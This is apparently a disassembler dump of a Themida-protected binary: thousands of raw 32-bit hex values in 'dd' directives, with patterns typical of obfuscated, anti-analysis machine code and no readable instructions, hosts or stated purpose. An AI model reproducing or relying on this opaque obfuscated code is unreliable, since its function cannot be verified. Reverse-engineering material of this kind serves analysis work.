		dd 8343DD7h, 860F0000h,	68h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0BFC35646h,	9195E6DCh, 0D5A5E59Dh
		dd 0A6DE8166h, 64E90Dh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 3821E2C3h, 25EF8060h
		dd 12E961h, 0A8A80000h,	0CF959CFDh, 0BE4F1A31h,	0FCE75B76h
		dd 35F4BBC2h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0C015E6C3h, 8166F2BBh, 66A2F5DFh
		dd 0C38BF78Bh, 0E860D88Bh, 0Bh,	0FFBC4DBh, 0A11C2271h
		dd 8118057Ch, 37BE09D0h, 0C7805972h, 85C761ADh,	93500D5h
		dd 5AAB4711h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	8BC35545h, 8BF4FD10h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 5EF0771Ch
		dd 94D1930Eh, 9D31503Ch, 93521B5h, 0FEBF0F5Fh, 28EDBD81h
		dd 7D00935h, 850F0000h,	9, 28ED85FFh, 8B660935h, 0EDB5FFF9h
		dd 6A093528h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 769CC351h, 0A4327FB9h,	0FBA61ADh
		dd 0C87h, 6820F00h, 31000000h, 351D01BDh, 2995FF09h, 0B093508h
		dd 35065DB5h, 0E7819009h, 359FF292h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 21C35545h, 0F522134h, 585h
		dd 28BABF00h, 6A5E49AAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0A5CC351h, 8D0F4722h
		dd 7, 2E258529h, 0F8F90935h, 300DBD89h,	0BD8B0935h, 935164Dh
		dd 0DD4CEF81h, 6A2E8Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0C4C75C3h, 20466332h, 66E42EC4h
		dd 8B0D54BEh, 0CE9F2h, 68950000h, 92254A69h, 8DB2705Dh
		dd 0BD8BC762h, 93502BDh, 0DE8h,	43726700h, 9E2AF47Ah, 76641EFFh
		dd 57BE55F1h, 5E31FE22h, 7E9h, 0BEF7B00h, 98AF010Fh, 11E8h
		dd 267B800h, 0FC8BCF8Fh, 5752AC06h, 73C01D25h, 8B5E94F6h
		dd 352849BDh, 75958909h, 0F09350Bh, 1387h, 11BD8B00h, 0E909352Ch
		dd 8, 0D62682E6h, 91082AB6h, 0FFF7E3E9h, 459D89FFh, 8B093517h
		dd 55006AC1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 4B68A796h, 0BED582AFh, 870F60BCh, 6, 1DCD8589h
		dd 4EB0935h, 0
		dd 639BD8Bh, 0BD2B0935h, 9351C15h, 2659858Dh, 6A0935h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 6660D3C3h, 0A26DC081h, 8D0F57h, 58000000h, 0BE509061h
		dd 5024FC61h, 9E9505Eh,	0A6000000h, 0C862D486h,	4E99F303h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 27C63317h, 0FE8B32Bh, 6AF3B7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6EC35242h, 65F0C472h
		dd 8501006Ah, 9350365h,	1872858Dh, 6A0939h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8392E8C3h
		dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0C3D1A8C3h, 0BB0D6C50h, 860F2E09h, 1, 8950FCF5h
		dd 0BE82404h, 9C000000h, 0F211F234h, 0C835AA8Ch, 0B70FFD2Ch
		dd 6A5EF8h, 3820F60h, 66000000h, 0E881C38Bh, 35A7E588h
		dd 6A006A61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8DEFC353h, 17A5BD8Bh, 95FF0935h
		dd 9350331h, 0EE9h, 9D948000h, 6CFCF90Ah, 0D49AE719h, 8DB05346h
		dd 389AAB9Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 67AAD642h, 0BB62964h, 85FFD3FFh
		dd 9353009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0ABC35343h, 1D0C8D8Ch, 7E9h, 0C4705F00h, 477F74FEh
		dd 7DEE9h, 0E800h, 815D0000h, 39187CEDh, 55006A09h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 46FE06AEh, 0B70FC955h, 61BD8BF2h, 81093523h,	3528EDBDh
		dd 7D009h, 4C860F00h, 66000001h, 8B7E8CBFh, 3516D19Dh
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0E381F7B0h, 100h, 0FB9BD8Bh, 0DB0B0935h
		dd 0DD850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 830987C3h, 3916B2BDh, 840F0009h
		dd 66h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 9AC35747h, 0C9B58B9Eh, 0E909352Fh, 9Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5AC35747h, 68E93469h
		dd 10E8F84Dh, 0AC000000h, 0DBA24171h, 34B88320h, 0C05C0BAEh
		dd 2909F078h, 35249D9Dh, 85C75E09h, 93916B2h, 1, 0D5958B60h
		dd 0F09350Bh, 48Ch, 0A0B86600h,	3DE961EBh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0F3E7C350h, 0FD9F8DDh, 686h,	61B58B00h, 0C7093527h
		dd 3916B285h, 9, 0F9BD8B00h, 0F8093505h, 16D19D8Dh, 66530935h
		dd 5FCD4FBFh, 0FEFF2381h, 0CE9FFFFh, 0CF000000h, 4BBC5773h
		dd 0F5E36963h, 66EFFE41h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0BB54DFC3h, 0F04C3F6h
		dd 8684h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 94039B8Bh, 605A44D6h, 12DF7EB8h
		dd 3880F6Dh, 80000000h,	0FF616BEAh, 35247195h, 8B666009h
		dd 8B6660D6h, 0E96161F7h, 10h, 0B1F5D3BAh, 98E9C431h, 0D7245D9Eh
		dd 3A471BC5h, 24048950h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0E1C35747h, 0B8B6C4E8h, 0D1B11571h, 3995898Ah
		dd 0E9093532h, 3B9h, 2655B589h,	0B00935h, 2D099D01h, 70E60935h
		dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FF91AC3h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 583094C3h, 6BAFC74h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 4D66C351h, 8B37D7B6h, 6E9C3h
		dd 0C97D0000h, 460C40D2h, 6A04E8C1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0ECF5C352h
		dd 34A9752h, 8B169075h,	350AF1BDh, 0E2F76609h, 5840Fh
		dd 81660000h, 2B49ACD7h, 0BF5693D8h, 64526670h,	8B66505Eh
		dd 6A93F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 504613C3h, 5EF2B70Fh, 28EDB5FFh, 810F0935h
		dd 0
		dd 82995FFh, 0BD8B0935h, 93526A9h, 0BD8900B0h, 93531EDh
		dd 8E0F70E6h, 6, 135B533h, 71E40935h, 830F613Ch, 291h
		dd 13E8h, 25223000h, 0CAA36F3Ah, 0BDB822F5h, 48275D73h
		dd 64987F9Fh, 0D8B60F5Eh, 266DB50Bh, 0BAFC0935h, 6, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C9C35141h, 0BD8BFCA3h
		dd 935006Dh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 7315ABC3h, 858960B5h, 9351C1Dh
		dd 2B7FB1BBh, 0E8C16173h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B378F7Ah
		dd 350F19B5h, 0E2F76609h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 32C35545h, 1C5848DAh,	26C4D8B7h, 1B84BEB0h
		dd 0D82B3334h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	33C35747h, 0A4D7FD45h, 66587AB0h, 0D82BF98Bh, 193880Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B58B58C3h, 9351161h, 12619509h, 7B90935h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 9EDCC353h, 60607F79h, 8A0Fh, 858B0000h
		dd 9351601h, 0D58D8961h, 61093510h, 2EE19589h, 0C1830935h
		dd 7E900h, 310D0000h, 3F9F08C8h, 0FD93BE3h, 11486h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 17879F20h, 19E68166h, 0D98C66E2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0FFC35646h,	3141FE5Bh, 0FE9F874h
		dd 0CA000000h, 17249DF6h, 62828A8Fh, 0D3353776h, 0C1F689FEh
		dd 0A6840F04h, 60000000h, 0CE8h, 10CED700h, 98C99366h
		dd 0F99127Eh, 0F985012Fh, 58093502h, 0FF61CE8Bh, 35247195h
		dd 11850109h, 5B09352Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 2C35646h, 0E97E70D9h,	12h, 71FFB7E9h
		dd 0CD6F04B2h, 36693C56h, 88C9A304h, 8166CB19h,	2B4CBEDEh
		dd 198529C3h, 3D093503h, 834h, 2F860Fh,	0D6810000h, 78FFC85Bh
		dd 2CE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 1ADB6C56h, 0BF0F28B1h, 81C08BFAh
		dd 0F1D350E6h, 8BC38B48h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0F9C52D0Ah
		dd 0B182B305h, 101D85C7h, 0D9150935h, 0EF815809h, 1A219BDCh
		dd 8B66C08Bh, 0EDBD81FBh, 0D0093528h, 0F000007h, 2585h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FFEFF8E3h, 3528ED85h, 0B5FFF809h, 93528EDh
		dd 496924BEh, 2995FF77h, 6A093508h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B317C350h
		dd 8BF40694h, 350BF9B5h, 6810F09h, 89000000h, 351BFD9Dh
		dd 6A9009h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 5FB916C3h, 90851C1h, 350E61BDh, 0B98D8909h
		dd 0F509350Ch, 0CE9h, 0C39EE600h, 0F444D837h, 3722DA0Ch
		dd 51006A41h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0E5BD89E7h, 66093516h, 8D89FE8Bh, 9351251h
		dd 2CC9B523h, 85890935h, 9350A25h, 0D820Fh, 66600000h
		dd 668477BEh, 0BA66F28Bh, 6A61CEC0h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E1F4C352h
		dd 0E960A8CDh, 8, 7194C50h, 0BDA5FDF3h,	3D8D8Bh, 0BB660935h
		dd 0F61950Bh, 685h, 11BD0B00h, 8B093527h, 351089BDh, 6AF28B09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 43B3C356h, 0F58BD685h, 68B0FF9h, 8B000000h
		dd 351EC9BDh, 0F843E909h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 82A628C3h, 8BC1BD66h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0EBBFAC29h, 4, 45B58B00h, 0E9093527h, 7
		dd 423B1F7Bh, 0FC2EA82h, 858DF9B7h, 9352659h, 0DDCE8166h
		dd 6E8909Eh, 0B1000000h, 9050F725h, 5F56503Bh, 8B505F5Eh
		dd 6A90F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8B69D4C3h, 352C45BDh, 10E909h, 577C0000h
		dd 0EDFAADDFh, 9D4BC67Fh, 9AE40827h, 6ADB33h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B5C35747h, 0B58BED9Ch
		dd 9350D25h, 0BD8B006Ah, 9352FC5h, 221B858Dh, 83F50939h
		dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 205A43C3h, 2BB59589h, 52500935h, 9E45BE66h
		dd 2404895Fh, 40A4D681h, 6A68E8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D1C35141h,	90625C6h, 3530259Dh
		dd 6D852909h, 6A093501h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0A948819Ch, 0EAF6F681h
		dd 95FF5D9Bh, 9350331h,	8E8h, 50100800h, 0FD623393h, 0E1BD8B1Eh
		dd 5F09350Fh, 9AAB9D8Dh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0F28A5FC3h, 8E9h, 86383700h
		dd 2C348606h, 6870F49h,	29000000h, 3500C5B5h, 52D3FF09h
		dd 1601B589h, 0FF5E0935h, 35300985h, 6850F09h, 31000000h
		dd 350529B5h, 8C0E909h,	0E80000h, 5D000000h, 2225ED81h
		dd 0B50B0939h, 9351F2Dh, 68E0Fh, 0BD8B0000h, 9352FB1h
		dd 28EDBD81h, 7D00935h,	860F0000h, 10Eh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 8AC35646h, 0F99D8BA4h
		dd 8109350Ch, 100E3h, 0BD8B5100h, 9352389h, 0FDB0B5Eh
		dd 7585h, 0F5B58B00h, 8309350Dh, 392077BDh, 840F0009h
		dd 4Ah,	36F1F681h, 6DE93273h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5092C350h
		dd 886AC965h, 0F9B70F60h, 11E960h, 356F0000h, 778B887Bh
		dd 0A4B60819h, 0B43C1361h, 8A8A89EDh, 85C761F5h, 9392077h
		dd 1, 1D9DBD89h, 19E90935h, 0F000000h, 85C7F7BFh, 9392077h
		dd 0
		dd 2BAD9589h, 8D890935h, 9352331h, 0CF99D8Dh, 6A0935h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 75C79EC3h, 63320C4Ch, 0EE82046h, 32000000h, 0B5CCDAFEh
		dd 0E754ABACh, 552BB12Fh, 0E781669Ch, 815F9629h, 0FFFEFF23h
		dd 8C66F8FFh, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 9624167Ah, 4CC1B6Ch, 831BD8Bh, 0C3F60935h
		dd 48840F04h, 6A000000h, 3E85100h, 20000000h
dword_580968	dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 66AEC351h
					; DATA XREF: Themida_:off_5584A6o
		dd 3A77CF81h, 247195FFh, 0BD8B0935h, 935033Dh, 6FBE6690h
		dd 0E86050F8h, 6, 125C9D5Eh, 615F3EDFh,	0E1B52990h, 0E9093505h
		dd 4C7h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E7C35343h, 16F08B8h, 0C65BA70Fh, 6A00B09Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 90FBC350h, 68E0Fh, 0D6810000h, 4CDF3873h, 2E418589h
		dd 70E60935h, 324DB58Bh, 71E40935h, 0B58BF28Bh,	93521F5h
		dd 6AD8B60Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F8E5C357h, 0D2BFEA91h, 8B8FE626h
		dd 352F25BDh, 0EDB58B09h, 0BA093504h, 6, 0FE9h,	0B7D82000h
		dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h, 0C38BFE8Bh, 13E9h
		dd 0BB412800h, 22A4B94Dh, 37410C91h, 677D9F16h,	156BA231h
		dd 6604E8C1h, 0F766FB8Bh, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D39078E0h
		dd 89EB2AEBh, 350E61BDh, 70DE8109h, 2B761580h, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0B6837656h, 3E590AFDh, 0BBBE2589h, 604918B6h, 6850Fh
		dd 8D8B0000h, 9351AD5h,	13E9h, 8112B600h, 0D2CF60E6h, 5360BAD6h
		dd 8C95032Ah, 6EF63DD7h, 1C895061h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 4BB20E8Fh
		dd 32F77749h, 0B5FF8F2Ch, 93528EDh, 3011B58Bh, 95FF0935h
		dd 9350829h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0DDC35646h, 3CD04A32h, 89D85C43h, 350F1D85h, 86CE8109h
		dd 0B0072364h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 39A374C2h, 739AA471h
		dd 666093B0h, 0BED402BAh, 4B16DE63h, 6840F61h, 2B000000h
		dd 350EA5BDh, 6A70E609h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C766C350h,	0A4BE66CDh
		dd 3C71E411h, 98830F61h, 8B000002h, 3512B1BDh, 0D8B60F09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h
		dd 0F9BF0F86h, 0BAF38B66h, 6, 2E59B58Bh, 85890935h, 9350F25h
		dd 0AE9C38Bh, 0BB000000h, 79A661A1h, 0FE2EBE37h, 4E8C1BEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B7C35747h
		dd 0E2F7668Fh, 0D82BF38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 15C35646h, 1A8BAD16h,	9BED5E81h, 8D8B5760h
		dd 9352D19h, 5FB9665Fh,	0E68161E2h, 31294DB6h, 6498D89h
		dd 0E9580935h, 5, 87514672h, 0FD82BA9h,	1D288h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E3EBAA02h, 81E6CDFFh, 243CC8E7h, 7B924h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0E06C55C3h, 0EFC72824h, 6800FA7h, 81000000h,	0E9FEFDEh
		dd 0FD950128h, 83093526h, 0BE900C1h, 0CD000000h, 0CB314EE7h
		dd 93D83C17h, 14E86CFBh, 81000000h, 0C45860B9h,	9CD966A6h
		dd 0BB3B2691h, 0F5CC9A6Fh, 8BEF6614h, 3528F9BDh, 0D93B5E09h
		dd 135860Fh, 0BF660000h, 8C66C901h, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 966EBE77h
		dd 0E82B6CC6h, 5, 62F0ABB8h, 0BD89608Ch, 93502D9h, 0C1F65E61h
		dd 0E8840F04h, 66000000h, 3F77D681h, 247195FFh,	10E90935h
		dd 0CA000000h, 3D989E6Dh, 0EEB07C1h, 98D0A696h,	5B01E9AFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4AC35343h
		dd 0ECC27F09h, 2BCB8171h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 6FEC608h, 2BD58589h
		dd 343D0935h, 0F000008h, 7286h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D50490h, 1E7EECC1h
		dd 840F22D5h, 6, 8FB2F781h, 44E93D70h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0DD42C356h, 0CE9C8071h, 11E8CFh, 0EED00000h,	64D6F4C6h
		dd 5939FBAEh, 75E2D203h, 6623D5F9h, 8B5FF08Bh, 0F99D89C0h
		dd 8B09350Bh, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 51DDC353h, 9DB58B8Ch
		dd 0C709351Dh, 3516D185h, 3189D109h, 0FDB58957h, 0F09351Bh
		dd 18Ah, 0C08BF900h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0A3C35747h, 0EA68C0ECh, 0CB3AF970h, 198D29A6h
		dd 81093510h, 3528EDBDh, 7D009h, 59850F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5882C357h, 0ED85FF76h, 6A093528h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8302C353h, 12E8h, 74C23700h,	0A47139A3h, 93B0739Ah
		dd 242E0493h, 5E0D1C6Eh, 28EDB5FFh, 6A0935h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A860A9C3h
		dd 4E382E5h, 8997E67Eh,	35033595h, 2995FF09h, 29093508h
		dd 352DB1BDh, 23609009h, 351179B5h, 8B61F809h, 352951B5h
		dd 45B58B09h, 0E9093500h, 0Ch, 2FAE5055h, 0D73EFF7Eh, 0D3ED066Fh
		dd 1039B58Bh, 0F7810935h, 7134F525h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 9AC35545h, 0B8C0Fh,	8F0F0000h
		dd 5, 91F2AEBFh, 51B50350h, 2309352Ch, 350005BDh, 75BD8B09h
		dd 66093508h, 6A4B6DBFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0F9D7C350h,	0F29C187h
		dd 0BD03F6B7h, 9350FF9h, 0CE9BD23h, 0BF660935h,	0B5891331h
		dd 9350D09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0AAC35343h, 0BD8B6FF7h,	9353061h, 0AC1B531h, 0F78B0935h
		dd 0C49BD29h, 81660935h, 1D85BEEh, 350669BDh, 0BDBD0B09h
		dd 66093504h, 9589FE8Bh, 9352F55h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 25C35545h, 66D2F797h, 0A9C5E781h
		dd 0FFF745E9h, 0D68166FFh, 6A60A7AEh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9655C352h
		dd 0DD41733h, 0B1DDE93h, 60C7B70Fh, 1C45B58Bh, 0C28B0935h
		dd 0FFFEB961h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 4652DC3h, 3C7ABB08h, 958949ADh
		dd 9350F89h, 2CED8D21h,	6A0935h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0F77B6AC3h, 0ACF015D6h
		dd 941BB5BBh, 218D2110h, 6A093512h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 4B86C352h
		dd 7E4880DDh, 0D78B6742h
		dd 17AD958Bh, 800F0935h, 15h, 10E9h, 70968000h,	6FF1D0F5h
		dd 8F663470h, 37E98D63h, 0ED8D8B2Eh, 8009352Ch,	0E1837CDCh
		dd 30850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0CC60C356h,	952B755Bh
		dd 9350489h, 6ED4BBAh, 7D85895Bh, 8B093522h, 3512218Dh
		dd 56006A09h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 7F3ED737h, 89FEB321h, 35259D8Dh,	5BB6609h
		dd 1E183C9h, 1E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 9BC5DC3h, 6A6061h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 9BCB05C3h, 89852343h, 0B9093527h, 0FFFFFFFEh, 22CD9589h
		dd 8D210935h, 9350B21h,	8D21FE8Bh, 9350441h, 118D8960h
		dd 0F09352Ch, 8B61D8B7h, 350B218Dh, 1890F09h, 0F9000000h
		dd 0F01E183h, 3685h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 3848BAEEh, 8AEB3D1h, 0C870F35h
		dd 0F000000h, 680h, 890F00h, 8B000000h,	3504418Dh, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 837D637Fh, 1E18347h,	2850Fh,	0F28B0000h, 9D2B6061h
		dd 9352809h, 0FFFFFEB9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 3C168276h, 39832FA9h
		dd 0DE98F11h, 1D000000h, 1B998695h, 49E75E3Bh, 865CD10Bh
		dd 0CF98D21h, 0BB660935h, 8D21B22Ah, 93500D5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A5C35545h, 6CE681D9h
		dd 8B195182h, 350CF98Dh, 0E19D8B09h, 1093521h, 352F11BDh
		dd 1E18309h, 26850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 2B1E5CC3h, 0C2BF0F98h
		dd 68B5B866h, 0D58D8Bh,	0BF0F0935h, 1E183D0h, 2B850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0E4979CC3h, 0DE31CB4Bh, 3C7D9D3h,	35123DB5h
		dd 8B606109h, 352C2D9Dh, 0FFFEB909h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 16F97C3h
		dd 352C7585h, 1D8D2109h, 6A093510h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F980C351h
		dd 436BF0AAh, 14E9BDh, 2AF70000h, 7AEFC43Fh, 9B9ABCF8h
		dd 9E2DED10h, 41BCD5D8h, 8B603EC7h, 3521C98Dh, 3DF38109h
		dd 611CDFC7h, 16D18D21h, 9D8B0935h, 9351AE9h, 101D8D8Bh
		dd 0DB810935h, 31DEF74Bh, 0F01E183h, 3185h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0FE93D25h, 53000000h, 1184EAB4h, 0D6E5742Ch,	292D26ABh
		dd 8D8B94ADh, 93516D1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 45C35343h, 254467CAh,	0C63062ECh, 1E183F8h
		dd 22850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 3F58B1C3h, 10D239A2h, 6A6061h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 23CBA6C3h, 352CA5BDh, 0ED85C709h, 0D0093528h, 6A000007h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0C23DC350h, 0C68A37B2h, 57006A61h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0D79868AEh, 0E3569A99h, 0B531BD78h, 9351069h, 9D6107EBh
		dd 0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0B10A45AEh, 0D0077038h, 0D8A0F73h
		dd 60000000h, 2D30DBBh,	0A5B5890Dh, 61093510h, 13E9h, 311D1C00h
		dd 0C8ECCB78h, 50C17CFDh, 399FB2FAh, 3660F7B5h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 33C35040h, 4A11FA79h
		dd 0C18BA47Dh, 8E8h, 0B908C200h, 11F86549h, 5953B038h
		dd 0A2C78166h, 0E4C181C2h, 89000071h, 3510D59Dh, 1C506809h
		dd 880F0000h, 0Bh, 6E9h, 0F6E92A00h, 5E54BC72h,	3199D33h
